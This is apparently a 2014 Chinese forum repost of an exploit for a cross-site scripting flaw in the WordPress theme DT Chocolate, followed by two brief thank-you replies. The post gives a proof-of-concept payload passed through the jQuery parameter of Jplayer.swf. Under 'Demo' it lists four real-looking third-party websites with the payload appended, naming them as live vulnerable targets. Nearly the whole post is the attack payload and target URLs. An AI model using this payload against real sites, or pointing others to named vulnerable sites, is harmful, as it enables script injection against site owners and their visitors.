WordPress DT Chocolate跨站脚本漏洞

admin · 发表于 2014-1-21 23:00:49

Exploit:
Wordpress Theme DT Chocolate suffers froman xss vulnerability.
+P.O.C:
127.0.0.1/[PATH]/wp-content/themes/dt-chocolate/js/jplayer/Jplayer.swf?jQuery=)}catch(e){}if(!self.a)self.a=!alert(/TUNISIAN CYBER/)//
Demo:
http://www.impala-miami.com/wp-c ... Jplayer.swf?jQuery=)}catch(e){}if(!self.a)self.a=!alert(/1337day%20TUNISIAN%20CYBER/)//
http://reportagesphotos-kaddouch ... Jplayer.swf?jQuery=)}catch(e){}if(!self.a)self.a=!alert(/1337day%20TUNISIAN%20CYBER/)//
http://www.laluzdeunangel.com/nu ... Jplayer.swf?jQuery=)}catch(e){}if(!self.a)self.a=!alert(/1337day%20TUNISIAN%20CYBER/)//
http://orianneboulage.fr/wp-cont ... Jplayer.swf?jQuery=)}catch(e){}if(!self.a)self.a=!alert(/TUNISIAN%20CYBER/)//
./3nD

显示全部楼层 · 发表于 2014-1-21 23:00:51

不知该说些什么。。。。。。就是谢谢

显示全部楼层 · 发表于 2014-1-21 23:16:30

学习了，不错，讲的太有道理了